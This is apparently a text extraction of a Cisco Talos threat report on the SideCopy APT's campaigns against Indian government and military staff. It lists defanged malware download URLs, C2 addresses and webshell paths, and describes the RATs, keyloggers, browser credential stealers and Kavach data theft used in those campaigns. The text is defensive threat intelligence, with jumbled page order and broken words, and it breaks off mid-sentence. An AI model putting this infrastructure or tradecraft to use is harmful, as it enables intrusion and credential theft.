+hxxp://www[.]bookiq.bsnl.co.in/data_entry/circulars/QA2E.exe +hxxp://www[.]bookiq.bsnl.co.in/data_entry/circulars/Host1.exe +hxxp://www[.]bookiq[.]bsnl[.]co[.]in/data_entry/circulars/mac.exe +hxxp://www[.]bookiq[.]bsnl[.]co[.]in/data_entry/circulars/mmaaccc.exe +hxxp://www[.]bookiq[.]bsnl[.]co[.]in/data_entry/circulars/mac.exe +hxxp://www[.]bookiq[.]bsnl[.]co[.]in/data_entry/circulars/mmaaccc.exe +hxxp://www[.]bookiq[.]bsnl[.]co[.]in/data_entry/circulars/mmaaccc.exe +hxxp://www[.]bookiq[.]bsnl[.]co[.]in/data_entry/circulars/Host1.exe +hxxp://bookiq[.]bsnl[.]co[.]in/data_entry/circulars/Host.exe +hxxps://kavach[.]govrn[.]xyz/shedule.exe +hxxp://unicauca[.]edu[.]co/regionalizacion/sites/default/files/kavach-1-5/Acrobat.exe +hxxp://45[.]79.81.88/ccrs_tool/uploads/mac.exe +hxxp://45[.]79.81.88/ccrs_tool/uploads/maaccc.exe +hxxp://45[.]79.81.88/ccrs_tool/uploads/maacc.exe +hxxp://45[.]79.81.88/ccrs_tool/uploads/VPN.exe +hxxp://45[.]79.81.88/ccrs_tool/uploads/conhost213.exe +hxxp://45[.]79.81[.]88/ccrs_tool/uploads/new_war.exe +hxxp://45[.]79.81.88/ccrs_tool/uploads/private.exe +hxxp://45[.]79[.]81[.]88/ccrs_tool/uploads/notice.exe +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/conhost123.exe +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/Host1.exe +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/mac.exe +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/maaacccc.exe +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/maaccc.exe +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/maacc.exe +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/VPN.exe +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/new_war.exe +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/ma/mmmaaaacccccc.exe +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/client.exe +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/private.exe +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/notice.exe +hxxp://service[.]clickaway[.]com/swings/haryanatourism/gita-jayanti/invited.exe +30/32 +hxxp://service[.]clickaway[.]com/swings/haryanatourism/gita-jayanti/details.exe +hxxps://www[.]ramanujan[.]edu[.]in/cctv-footage/footage-346.exe +hxxp://thedigitalpoint[.]co[.]in/zomato/vouchers/zomato-voucher.zip +hxxp://66[.]154[.]112.212/GOM.exe +hxxps://dsoipalamvihar[.]co[.]in/manage/OperatorImages/exe/GOM_Player.exe +File Enumerator C2s +hxxp://64[.]188[.]13[.]46/oiasjdoaijsdoiasjd/ +warzone/AveMaria C2s +5[.]252[.]179[.]221:6200 +64[.]188[.]13[.]46 +netwireRC C2s +66[.]154[.]103[.]106:13374 +66[.]154[.]103[.]106:13371 +66[.]154[.]103[.]106:13377 +Malicious archive download locations +hxxps://www.unicauca[.]edu[.]co/regionalizacion/sites/default/files/Meeting-details.zip +hxxps://www.unicauca[.]edu[.]co/regionalizacion/sites/default/files/kavach-1-5/kavach-2-instructions.zip +hxxp://www.unicauca[.]edu[.]co/regionalizacion/sites/default/files/kavach-1-5/KAVACH-INSTALLATIONV3.zip +hxxps://dsoipalamvihar[.]co[.]in/pdf/important_notice.zip +hxxp://lms[.]apsdigicamp[.]com/webapps/uploads/acc/cctv-footages/student-termination-and-proof.zip +hxxp://beechtree[.]co[.]in/Admin/IconImages/progress-reports/Progress-report-43564.zip +RunPe download URLs +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/RunPe.dll +Misc URLs +hxxps://www[.]dropbox[.]com/s/w8tc18w2lv1kv6d/msovb.vbs?dl=1 +hxxps://www[.]dropbox[.]com/s/lt7a981theoyajy/adobecloud.7z +hxxps://pastebin[.]com/raw/mrwtZi34 +31/32 +Malicious server-side script URLs +hxxp://lms[.]apsdigicamp[.]com/webapps/uploads/resume/mailer.php.zip +hxxp://lms[.]apsdigicamp[.]com/webapps/uploads/resume/mailer.php/mailer.php +hxxp://lms[.]apsdigicamp[.]com/webapps/uploads/resume/mailer.php +hxxp://lms[.]apsdigicamp[.]com/webapps/uploads/resume/4O4.php +hxxp://lms[.]apsdigicamp[.]com/webapps/uploads/resume/b374k_rs.pl +hxxp://lms[.]apsdigicamp[.]com/webapps/uploads/resume/pack.php +hxxp://lms[.]apsdigicamp[.]com/webapps/uploads/resume/cc.php +hxxp://lms[.]apsdigicamp[.]com/webapps/uploads/resume/leafmailer2.8.php +hxxp://lms[.]apsdigicamp[.]com/webapps/uploads/acc/oodi.html +hxxp://lms[.]apsdigicamp[.]com/webapps/uploads/progress-report/ +hxxp://lms[.]apsdigicamp[.]com/webapps/uploads/progress-report/index.html +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/1594066203_4O4.php +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/mailer.php +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/leaf.php +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/leafmailer2.8.php +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/1622640929_myshell.php +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/newfil.html +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/1594066203_ang3l.html +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/1594066203_up.htm +32/32 +InSideCopy: +How this +APT continues +to evolve its arsenal +BY ASHEER MALHOTRA AND JUSTIN THATTIL + 2021 Cisco. All rights reserved. +talos-external@cisco.com | talosintelligence.com +page 1 of 23 +InSideCopy: +How this APT continues to evolve its arsenal +CONTENTS +Summary...................................................................................................................................................................................... 3 +What +s new?................................................................................................................................................................................ 3 +How did it work?.......................................................................................................................................................................... 3 +So what?...................................................................................................................................................................................... 3 +Background.................................................................................................................................................................................. 4 +Early infection chain............................................................................................................................................................... 4 +Latest CetaRAT infection chains............................................................................................................................................. 4 +njRAT infections..................................................................................................................................................................... 7 +MSI-based infection chain...................................................................................................................................................... 7 +Malicious payloads...................................................................................................................................................................... 8 +RATs....................................................................................................................................................................................... 8 +Plugins.................................................................................................................................................................................... 9 +RAT analysis................................................................................................................................................................................. 9 +CetaRAT................................................................................................................................................................................. 9 +DetaRAT............................................................................................................................................................................... 10 +ReverseRAT.......................................................................................................................................................................... 11 +MargulasRAT........................................................................................................................................................................ 11 +Allakore................................................................................................................................................................................ 12 +ActionRAT............................................................................................................................................................................ 12 +Lilith...................................................................................................................................................................................... 13 +Epicenter RAT....................................................................................................................................................................... 14 +Plugin analysis........................................................................................................................................................................... 14 +Files manager....................................................................................................................................................................... 14 +Browser credential stealer.................................................................................................................................................... 16 +Keyloggers........................................................................................................................................................................... 17 +Golang malware + Nodachi.................................................................................................................................................. 17 +Tracking and delivery infrastructure........................................................................................................................................ 19 +Observations and analyses....................................................................................................................................................... 20 +Targeting.............................................................................................................................................................................. 20 +Credential Harvesting........................................................................................................................................................... 22 +Conclusion................................................................................................................................................................................. 23 +Coverage................................................................................................................................................................................... 23 + 2021 Cisco. All rights reserved. +talos-external@cisco.com | talosintelligence.com +page 2 of 23 +InSideCopy: +How this APT continues to evolve its arsenal +SUMMARY +Cisco Talos is tracking an increase in the SideCopy APT's activities targeting government +personnel in India using themes and tactics similar to APT36 (aka Mythic Leopard and +Transparent Tribe). +SideCopy is an APT group that mimics the Sidewinder APT +s infection chains to deliver their +own set of malware. +ve discovered multiple infection chains delivering bespoke and commodity remote access +trojans (RATs) such as CetaRAT, Allakore and njRAT. +Apart from the three known malware families utilized by SideCopy, Talos also discovered the usage +of four new custom RAT families and two other commodity RATs known as +Lilith + and +Epicenter. +Post-infection activities by SideCopy consist of deploying a variety of plugins, ranging from file +enumerators to credential-stealers and keyloggers. +WHAT +S NEW? +Cisco Talos has observed an expansion in the activity of +SideCopy malware campaigns, targeting entities in India. In +the past, the attackers have used malicious LNK files and +documents to distribute their staple C#-based RAT. We are +calling this malware +CetaRAT. + SideCopy also relies heavily +on the use of Allakore RAT, a publicly available Delphibased RAT. +Recent activity from the group, however, signals a boost in +their development operations. Talos has discovered multiple +new RAT families and plugins currently used in SideCopy +infection chains. +Targeting tactics and themes observed in SideCopy +campaigns indicate a high degree of similarity to the +Transparent Tribe APT (aka APT36) also targeting India. +These include using decoys posing as operational +documents belonging to the military and think tanks and +honeytrap-based infections. +involving multiple HTAs and loader DLLs to deliver the final +payloads. +Talos also discovered the usage of other new RATs and +plugins. These include DetaRAT, ReverseRAT, MargulasRAT +and ActionRAT. We +ve also discovered the use of +commodity RATs such as njRAT, Lilith and Epicenter by this +group since as early as 2019. +Successful infection of a victim results in the installation of +independent plugins to serve specific purposes such as file +enumeration, browser password stealing and keylogging. +SO WHAT? +These campaigns provide insights into the adversary +operations: +Their preliminary infection chains involve delivering their +staple RATs. +Successful infection of a victim leads to the introduction +of a variety of modular plugins. +HOW DID IT WORK? +SideCopy +s infection chains have remained relatively +consistent with minor variations + using malicious LNK files +as entry points, followed by a convoluted infection chain +Development of new RAT malware is an indication that +this group of attackers are rapidly evolving their malware +arsenal and post-infection tools since 2019. +Their current infrastructure setup indicates a special +interest in victims in Pakistan and India. + 2021 Cisco. All rights reserved. +talos-external@cisco.com | talosintelligence.com +page 3 of 23 +InSideCopy: +How this APT continues to evolve its arsenal +BACKGROUND +SideCopy campaigns use tactics and techniques that +mimic the SideWinder APT group to deploy their own +set of malware. For instance, this group actively utilizes +artifact names and infection vectors identical to the +Sidewinder group. +SideCopy infection chains primarily consist of archive +files containing malicious LNK files delivered to the +victims. The filenames are meant to social engineer the +victims into opening the LNK files, in turn, infecting them +with SideCopy malware. What follows is a convoluted +combination of malicious HTML Application files (HTA) and +DOT NET-based loader DLLs that instrument CetaRAT and +Allakore on the endpoints. +EARLY INFECTION CHAIN +The earliest discovered infection chain consisted of a LNK +file that pulled down and executed an HTA from a remote +location. This HTA would decode and instrument a loader +DLL in memory to drop CetaRAT and another DLL (DUser. +dll) (Figure 1). +The dropped DLL is side-loaded into credwiz.exe. The DLL +then executes CetaRAT on the infected endpoint, thereby +completing the infection chain. +The actors used this method in 2019 and have evolved it +since then. This primitive infection chain doesn +t consist +of decoy documents or images and is missing the Allakore +RAT component (Figure 2). +LATEST CETARAT INFECTION CHAINS +Beginning 2020 and into 2021, we saw the attackers +improve their infection chains. These infections also begin +with malicious LNK files delivered to the victims. However, +what follows is a combination of three HTA files, three +loader DLLs, two instances of CetaRAT in some cases, and +Allakore. This indicates an effort to modularize the attack +chains, although it +s over-modularized in this case. +Figure 1: LNK with fake PDF icon executing remote HTA using mshta.exe. +Figure 2: Primitive SideCopy infection chain. + 2021 Cisco. All rights reserved. +talos-external@cisco.com | talosintelligence.com +page 4 of 23 +InSideCopy: +How this APT continues to evolve its arsenal +Figure 3: Latest SideCopy infection chain. +Figure 4: Latest SideCopy infection chain. +The latest infection chains have also adopted the practice +of displaying a decoy document (PDF) or image to the +victims (Figure 3). +Stage No. 1 + LNK +The malicious LNK contains a command (Figure 4) to run a +malicious HTA file hosted on an attacker-controlled website +via mshta.exe. +Stage No. 2 + HTA +The malicious HTA file carries out the following activities: +Creates a JavaScript file to restart the endpoint after + 2021 Cisco. All rights reserved. +the malicious HTA has completed the infection process. +(The JavaScript waits for a specified time and restarts +the system, enough for HTA to complete the infection.) +Load and invoke a malicious Dot Net-based loader DLL +(Stage 2A) into memory. +Stage No. 2A + Loader DLL +The malicious Dot Net-based loader DLL is responsible for: +Decompressing a decoy PDF and displaying it to the +victim on the endpoint. +Downloads another malicious HTA (Stage No. 3A) from +a remote URL and executes it on the endpoint. +talos-external@cisco.com | talosintelligence.com +page 5 of 23 +InSideCopy: +How this APT continues to evolve its arsenal +Downloads and executes another +malicious HTA file (Stage No. 4) +from a remote URL. +The decoy document displayed to the +victim in this case is an internal Indian +Ministry of Defense (MoD) circular +related to their Human Resources +Management System (HRMS) (Figure 5). +Stage No. 3 + Malicious HTA +This malicious HTA is similar to those +seen previously (usually seen as Stage +No. 2 in other infection chains). It is +used to deploy the malicious CetaRAT +embedded in the HTA file. +In some cases, we +ve observed +instances of this malicious HTA +deploying two distinct CetaRAT +payloads on the same endpoint, a +deviation from the usual infection chain. +Stage No. 4 + Malicious HTA +This malicious HTA is similar to the +HTA seen in Stage No. 3A of the attack +chain. This HTA also: +Loads another loader DLL into +memory (Stage No. 4A). +Collects AV product names and +passes them to the loader DLL +(Stage No. 4A) along with the +credwiz.exe binary and DUser.dll +malicious DLL to be side-loaded. +Stage No. 4A + Malicious loader DLL +This DLL is responsible for dropping +DUser.dll (Stage No. 4B side-loaded +into credwiz) into a variable location, +depending on the presence of a +specific anti-virus products installed +on the endpoint: +Kaspersky +Avira +QuickHeal +Bitdefender +Avast +Windows +Defender + 2021 Cisco. All rights reserved. +Figure 5: Decoy PDF pretending to be an internal Indian Army document. +talos-external@cisco.com | talosintelligence.com +page 6 of 23 +InSideCopy: +How this APT continues to evolve its arsenal +Figure 6: njRAT infection chain. +This loader DLL also persists Allakore RAT on the +endpoint. The side-loaded DLL is then responsible for +executing Allakore. +Allakore RAT is a publicly available Delphi-based RAT. It is +usually called +Cyrus client + in SideCopy infection chains. +Its capabilities include: +Upload and download files. +Capture screenshots from the endpoint. +Enumerate directories and files. +Keylogging. +Steal current clipboard data. +Indian Army Restructring And Re-Organization.pdf.exe +director_general_level_border_coordination_ +conference.pdf.exe +Phase-3 of Nationwide Covid-19 Vaccination +Registration.pdf.exe +MSI-BASED INFECTION CHAIN +NJRAT INFECTIONS +Another recently discovered infection chain (Figure 6) used +by SideCopy completely abandons CetaRAT and Allakore +and uses njRAT instead. This infection chain is simpler than +the ones seen previously. +A second variation of njRAT infection chain uses selfextracting RAR-based dropper executables that consists of: +Malicious VB script to set up persistence for njRAT deployed by the dropper. +njRAT binary dropped and executed by the dropper. + 2021 Cisco. All rights reserved. +The decoy document is usually a PDF displayed to the +victim. These PDFs mainly consist of themes related to +the Indian Army and government. +Some examples of the self-extracting dropper filenames: +Stage No. 4B - Allakore +Around mid-2020, we observed a deviation from the LNKbased infection chain. In this case, the attackers hosted a +malicious archive (ZIP) on an attacker-controlled website +freewindowssoftware[.]com. The ZIP file contained +an MSI file posing as an installer for the +Libre Video +Locker + application. On installation, the malicious MSI +would install Allakore RAT into the +Program Files\Libre +Software Corporation\LibreVideoLocker + folder +(Figure 7). +The final payloads consisted of three components: +Loader EXE: Executed first and masquerades as a Libre +video player application. It is, however, meant to run +Allakore and the malicious BAT file. +talos-external@cisco.com | talosintelligence.com +page 7 of 23 +InSideCopy: +How this APT continues to evolve its arsenal +Figure 7: MSI-based infection chain dropping Allakore. +Persistence BAT file: Used to set up persistence for +Allakore via the registry HKCU\..\Run key. +Allakore RAT exe: This is a copy of the Allakore RAT +built in 2019, instrumented to communicate with a +known SideCopy C2 IP. +MALICIOUS PAYLOADS +based reverse shell that also monitors removable drives. +It is based on CetaRAT. +MargulasRAT: This is another custom RAT used as part +of SideCopy operations. The dropper for MargulasRAT +masquerades as a VPN application from India +s National +Informatics Centre (NIC). +Allakore: Allakore is a Delphi-based RAT first observed +in 2015. This RAT has been used by SideCopy +extensively, along with CetaRAT. +ActionRAT: ActionRAT is another Delphi-based +RAT used in SideCopy +s operations. At first glance, +it looks quite similar to Allakore but is distinct in its +implementation. We also found a C#-based version of +the RAT, indicating that the attackers have ported it to +the Dot Net platform, as well. +Lilith: Lilith is a C++-based RAT first observed in 2016. +SideCopy used a customized version of Lilith in early +2019. Lilith has also been utilized by another APT +named +TICK + in 2018 - 19. +EpicenterRAT: Epicenter is another commodity RAT +observed in the wild since 2012. SideCopy +s usage of +Epicenter dates back to as early as 2018 - 19. +This is an overview of the different final stages of infections. +RATS +SideCopy infections utilize a number of RATs. The RAT +payloads discovered by Talos so far are: +CetaRAT: SideCopy +s staple RAT first seen in the +wild in 2019. This was already disclosed publicly. We +are calling it +CetaRAT + to identify it throughout this +research piece. +DetaRAT + C#-based RAT: A previously unknown C#based RAT that contains several RAT capabilities similar +to CetaRAT. +ReverseRAT: Another previously undiscovered C#- + 2021 Cisco. All rights reserved. +talos-external@cisco.com | talosintelligence.com +page 8 of 23 +InSideCopy: +How this APT continues to evolve its arsenal +PLUGINS +In addition to full-fledged RATs, SideCopy utilizes modular +plugins to carry out specific malicious tasks on the +infected endpoint: +File manager: A file management component that can +enumerate, download and upload files on the endpoint +from/to the C2. +Keyloggers: There are two keyloggers used by SideCopy. +Xeytan: A publicly available C#-based keylogger +available since 2016. +Lavao: Another C#-based keylogger. +Browser credential stealers: Again, there are two +types of stealers used: +C-based stealer component to steal passwords +from Firefox and Chrome. +C#-based stealer component to steal Chromium +browser passwords. +Nodachi: A previously unknown set of plugins utilized by SideCopy we +re calling +Nodachi. + These +Golang-based plugins have reconnaissance and +file-stealing abilities targeting an Indian multi-factor +authentication app known as +Kavach. +RAT ANALYSIS +CETARAT +CetaRAT is a C#-based RAT family first seen in the wild +since 2019. Its malicious capabilities (Figure 8) include: +Execution: Download and run arbitrary executables +and commands. +File management: Upload, download, delete, rename +and enumerate files. +Capture: Take screenshots and monitor clipboard +data. +Processes: List or kill processes on the endpoint. + 2021 Cisco. All rights reserved. +Figure 8: CetaRAT command codes. +talos-external@cisco.com | talosintelligence.com +page 9 of 23 +InSideCopy: +How this APT continues to evolve its arsenal +DETARAT +DetaRAT is a previously unknown +C#-based implant used by SideCopy. +This implant uses a different set of +command codes (Figure 9) with a +hardcoded key for communicating +with its C2 servers. Its malicious +capabilities include: +Files management: Create, +move, rename and delete +directories and files. +File enumeration: Retrieves +detailed directory and file +information recursively, including +creation and last access times. +Exfiltration and infiltration: +Download and upload files from +and to the C2. +Audio: Record and upload +audio files. +Remote control: Control mouse +cursor and clicks. +Hosts file: Retrieve and send / +etc/hosts file contents. +Installed Software: Exfiltrate +details of installed software +from registry. +Execution: Run arbitrary +commands on the endpoint via +cmd.exe. +Clipboard: Get and set +clipboard data. +Sysinfo: The following information is sent to the C2 to fingerprint the endpoint: +IP and MAC addresses. +Installed anti-virus software. +Processor and GPU info, +RAM info, system uptime, +OS details, battery charge +and life. +Hostname, current username +and screen dimensions. + 2021 Cisco. All rights reserved. +Figure 9: DetaRAT command codes. +talos-external@cisco.com | talosintelligence.com +page 10 of 23 +InSideCopy: +How this APT continues to evolve its arsenal +REVERSERAT +This is a simple C#-based malware that opens up a +reverse shell (Figure 10) to its C2 server using cmd.exe. +This reverse shell also has code built into it to monitor +removable drive events (Figure 11), such as connection and +removal. +MARGULASRAT +MargualsRAT is distributed via another C#-based dropper +(Figure 12) binary. The dropper masquerades as the same +VPN we mentioned previously. NIC is responsible for +providing IT services, such as email and VPN access, to +Indian government employees, including military personnel. +Another variant of the dropper deploys MargulasRAT after +displaying a decoy PDF to the victim (Figure 13). +This infection chain uses VBScripts to persist MargulasRAT +via registry, while the dropper downloads the RAT from a +remote location (Figure 14). +MargulasRAT (Figure 15) is limited in capabilities, but does +include: +Screenshot capture: Capture a screenshot of the resolution specified by the C2, AES encrypt and send. +Update self: Receives an encoded binary from C2, +Figure 10: ReverseRAT reverse shell. +Figure 11: USB device insertion notifier code snippet. +Figure 12: Dropper opening the decoy NIC VPN portal and setting +up persistence for MargulasRAT. + 2021 Cisco. All rights reserved. +Figure 13: Code used to download and display a decoy PDF +related to the Indian Army displayed to the victim followed by +activation of MargulasRAT. +talos-external@cisco.com | talosintelligence.com +page 11 of 23 +InSideCopy: +How this APT continues to evolve its arsenal +writes it on a disk, and executes +it. Runs cmd.exe to terminate +itself afterward. +Download more payloads: +Receives a name and encoded +payload data from the C2, then +write it to disk and execute it on +the infected endpoint. +Stop communications: Terminate +communication session with the +C2 until the next run. +ve observed unimplemented +command codes in the MargualsRAT +indicating that this RAT is actively in +development by the attackers. +Figure 14: Malicious VBScript used to persist MargulasRAT across reboots. +ALLAKORE +Allakore is a publicly available Delphibased RAT that has consistently been +used in SideCopy operations along +with CetaRAT. Malicious capabilities +of Allakore include: +Keylogging. +Capture screenshots. +List folders and files. +Upload/Download files. +Steal clipboard data. +Grab/change wallpaper. +In recent infections, this RAT is +named +Cyrus client + (Figure 16). +ACTIONRAT +ActionRAT is a Delphi-based RAT +containing a limited set of capabilities. +This RAT also comes in a C# variant, +indicating that the attackers have +ported it to the Dot Net platform. +This RAT typically uses two C2 URLs +(Figure 17) + one for the initial checkin to confirm infections (beacon C2 +URL) and the other to instrument the +RAT and send/recv commands and +output data. + 2021 Cisco. All rights reserved. +Figure 15: Command handler of MargulasRAT. +Figure 16: Allakore RAT with the name +Cyrus_Client. +talos-external@cisco.com | talosintelligence.com +page 12 of 23 +InSideCopy: +How this APT continues to evolve its arsenal +Figure 17: Two C2 URLs used in ActionRAT. +Primary capabilities of the RAT include (Figures 18 and 19): +Gather sysinfo: Collect the following information from +the infected endpoint and sends the following information to the C2 at the beginning of the RAT +s execution. +Computer name and username. +Installed anti-virus product names. +Operating system name, MAC address (used as infection identifier) and architecture type (x86 or x64). +Arbitrary command execution: Run arbitrary commands +specified by the C2 on the endpoint. +List drives: Collect drive names and total size for all +drives present on the system and send them to the C2. +Enumerate files: Enumerate files for a given directory +on the endpoint and sends the following information to +the C2: +Directory names and creation time. +Filepath, size and creation time. +Download files: Download a file specified by the C2 to a +location on disk. +Download and execute: Download and then execute a +file specified by the C2 on the endpoint. +Upload files: Exfiltrate the contents of a specified file to +the C2. +Figure 18: Command codes included in the Delphi version +of ActionRAT. +LILITH +Lilith is a commodity RAT available in the wild since 2016. +The version of Lilith used in SideCopy operations consists +of the following capabilities (Figure 20): +Terminate or restart self. +Download and execute files from specified locations. +Enumerate files. +Reverse shell. +Figure 19: C#-based ActionRAT +s command handler. + 2021 Cisco. All rights reserved. +talos-external@cisco.com | talosintelligence.com +page 13 of 23 +InSideCopy: +How this APT continues to evolve its arsenal +Figure 20: Command codes and handlers in Lilith. +Figure 21: Epicenter command handler. +EPICENTER RAT +Enumerate, launch and kill processes. +Epicenter is a commodity RAT used by SideCopy since +2018. It contains a variety of capabilities (Figure 21) +including: +Take screenshots. +Enumerate directories, delete files and folders. +Check persistence status for self. +Gathering system information. +Gather installed Antivirus product names. +Shutdown, reboot system or log the user off. +Block keyboard and mouse inputs to self. +FILES MANAGER +Uninstall self. +The files manager plugin used can scan all drives on the +system recursively and record file paths to a log file named + 2021 Cisco. All rights reserved. +PLUGIN ANALYSIS +talos-external@cisco.com | talosintelligence.com +page 14 of 23 +InSideCopy: +How this APT continues to evolve its arsenal +YYYYMMDDHHMMSS_di_output. + based on the current time (Figure +22). The file paths recorded must +match the following extensions: +doc, ppt, xls, txt, pdf, zip, +mdb, accdb, db, rar, jpg, +bmp, gif, csv, bmp, docx, +pptx, xlsx and png. +The files manager will also send +preliminary system information to the +C2 and receive a command code in +return: +hname=&uname= + &osname=&hid=&mcc= +&avname=&arc= + +Where: +hname = computer name. +uname = username of currently +logged in user. +osname = Windows version name +string. +hid = hardware id i.e. a combination of processor ID, serial +number and disk signature +mcc = Mac Address of the endpoint. +avname = either +Defender +Avira + or + depending on +whichever AV is found installed. +arc = + or +Command codes: +filelist + and +updatefilelist +Send recorded file paths from +YYYYMMDDHHMMSS_di_output. + to C2 server. +download| +: Read contents +of file path specified by C2 and +exfiltrate. + 2021 Cisco. All rights reserved. +Figure 22: Files manager command handler module. +upload| +: Get specified file from C2 and write to specified location on disk. +execute| +: Download a specific file to a location on a disk specified by the C2 +and execute it. +SideCopy also uses a document copier (Figure 23). This component searches for +files with specific extensions across removable and fixed drives and creates an +encrypted copy for itself. The encrypted copy may be exfiltrated later by another +component. So far, this component only searches for doc, docx, ppt, pptx and +pdf files. +talos-external@cisco.com | talosintelligence.com +page 15 of 23 +InSideCopy: +How this APT continues to evolve its arsenal +ve also found standalone implementations of the +document copier (called +UPirate +). This consists of +document copying and encryption capabilities without the +C2 functionality of the file manager component. +BROWSER CREDENTIAL STEALER +ve observed two flavors of browser credential stealer +components utilized by SideCopy (Figure 24). The first is a +C-based stealer that targets Firefox and Chrome. +The second credential stealer is C#-based and targets +Chromium-based browsers, including: +Chrome +7Star +AVG Browser +Amigo +Kinza +Blisk +URBrowser +CentBrowser +AVAST Software +Chedot +SalamWeb +CocCoc +CCleaner +Elements Browser +Opera +Epic Privacy Browser +Yandex +Kometa +Slimjet +Orbitum +360 Browser +Sputnik +Comodo Dragon +uCozMedia +CoolNovo +Vivaldi +Chromium | +SRWare Iron Browser +Sleipnir 6 +Citrio +Torch Browser +Coowon +Brave Browser +Liebao Browser +Iridium Browser +QIP Surf +Opera Neon +Edge Chromium +Figure 23: Find and save encrypted copy of +file extensions specified. +Figure 24: C-based browser credential stealer code for obtaining +Chrome login data. + 2021 Cisco. All rights reserved. +talos-external@cisco.com | talosintelligence.com +page 16 of 23 +InSideCopy: +How this APT continues to evolve its arsenal +Credentials extracted from any of these browsers installed +on the endpoint are then written to a temporary log file on +disk and subsequently exfiltrated to a DropBox location +(Figure 25). +KEYLOGGERS +SideCopy uses two dedicated keyloggers for recording +keystrokes, the aforementioned Xeytan (Figure 26) and +Lavao (Figure 27), which is a custom keylogger first seen +around mid-2019 that records timestamps, Window names +and pressed key codes into a log file. +GOLANG MALWARE + NODACHI +Figure 25: Credentials exfiltrated using the DropBox upload API. +Figure 26: Xeytan keystroke recorder used in SideCopy ops. + 2021 Cisco. All rights reserved. +Cisco Talos also discovered a GoLang-based component +re calling +Nodachi. +Figure 27: Lavao keylogger collecting keystrokes +and window titles. +talos-external@cisco.com | talosintelligence.com +page 17 of 23 +InSideCopy: +How this APT continues to evolve its arsenal +Nodachi is meant for reconnaissance +and stealing different types of data +from the victim +s endpoint: +Credential stealing: The malware +uses the goLazagne library to +steal the login credentials from +the infected endpoint, such as +internet browsers, credential +managers and some sysadmin +tools (Figure 28). Once the login +credentials are obtained, it copies +these files over to the attacker +Google Drive. +Steal +Kavach + data: Kavach (hindi +for +Armor +) is an authentication +system used by the Government of India +s (GoI) NIC agency. +Kavach provides its users with +an MFA application/client used +for authentication of employees +to access GoI +s IT infrastructure, +such as email. The malware looks +for the +kavach.db + database +containing login credentials of users in the directory: +Figure 28: +Credential +stealer +functionality. +C:\Users\\ +AppData\Roaming\kavach.db +If found, the file is copied to +the attacker +s Google Drive +(Figure 29). +File lister: The GoLang malware +uses the goLazagne library to lists +all files with specific extensions +on the endpoint: .docx, .doc, +.pptx, .xls and .xml. The files +found are logged into a file that +is then exfiltrated again to the +attackers via Google Drive APIs. +One variant of Nodachi also displayed a decoy PDF downloaded +from an attacker-owned Google +Drive link. This decoy document +is the same as the one seen in +one of the latest CetaRAT infection chains (Figure 30). + 2021 Cisco. All rights reserved. +Figure 29: Look +for kavach.db +and open it. +Figure 30: The +same decoy +document +from CetaRAT +infection chains +is downloaded +and displayed +by Nodachi. +Uploaded to +Google Drive on +March 25, 2021. +talos-external@cisco.com | talosintelligence.com +page 18 of 23 +InSideCopy: +How this APT continues to evolve its arsenal +Figure 31: Country check before serving a specific payload to the requester. +Figure 32: Victim logging +capability of delivery servers. +TRACKING AND DELIVERY +INFRASTRUCTURE +The data recorded in the log files consists of the following +requester information: +SideCopy +s delivery infrastructure consists of either setting +up fake websites or using compromised websites to deliver +malicious artifacts to specific victims. +Source IP address. +Device type: tablet, mobile or computer. +Operating system name. +The delivery scripts verify that requests to receive artifacts/ +payloads are from two specific geographies: India and +Pakistan (Figure 31). If this matches, then a payload or +decoy is served to the requester. +User-Agent string. +Architecture type: 32- or 64-bit. +Browser name. +All requests are logged to a log file on the delivery server to +keep track of artifacts served to potential victims (Figure 32). +Referrer value. +Timestamp of request. +City and country of origin. + 2021 Cisco. All rights reserved. +talos-external@cisco.com | talosintelligence.com +page 19 of 23 +InSideCopy: +How this APT continues to evolve its arsenal +OBSERVATIONS +AND ANALYSES +TARGETING +SideCopy uses themes predominantly +designed to target military personnel +in the Indian subcontinent. Many of +the LNK files and decoy documents +used in their attacks pose as internal, +operational documents of the Indian +Army. +One infection posed as a seniority +list of the Indian Army as recently as +early 2021 (Figure 33). +Apart from military themes, SideCopy +also utilized publications, calls for +papers/proposals and job openings +related to think tanks in India to target +potential victims. +In one of the infections, the attackers +used a malicious LNK file to deliver +Allakore and CetaRAT to its victims. +This specific attack chain used +a decoy document posing as an +advertisement of a call for proposals +for the Chair of Excellence 2021 for +the Centre For Land and Warfare +Studies (CLAWS) in India (Figure 34). +Figure 33: Decoy document related to the Indian Army. +Interestingly, the same theme +was seen in another recent attack +conducted by the Transparent Tribe +APT to deliver ObliqueRAT payloads +to their victims. +In another instance, we observed the +attackers using a decoy document +consisting of an article published by +the Centre for Joint Warfare Studies +(CENJOWS) in India. The article is +a Geo Strategic Scan from August +2020 discussing the political and +economic implications of resuming +diplomatic talks between the U.S. +and China (Figure 34). + 2021 Cisco. All rights reserved. +Figure 34: Decoy +document +masquerading +as a legitimate +CENJOWS article. +talos-external@cisco.com | talosintelligence.com +page 20 of 23 +InSideCopy: +How this APT continues to evolve its arsenal +More recently, an issue brief of the +Observer Research Foundation (ORF, +another independent think tank based +out of India) was used as a decoy +by SideCopy in an attack delivering +njRAT to its victims (Figure 35). +Another attack from 2020 shows +targeting of diplomatic personnel + those working in embassies +specifically. The decoy document +employed in this case consisted of +a circular from the Indian Ministry +of External Affairs (MEA) to its +employees and attachees. This +infection chain also delivered Allakore +and CetaRAT (Figure 36). +Besides all of these email campaigns +ve outlined, SideCopy also +uses honeytraps to lure victims in. +These infections typically consist +of malicious 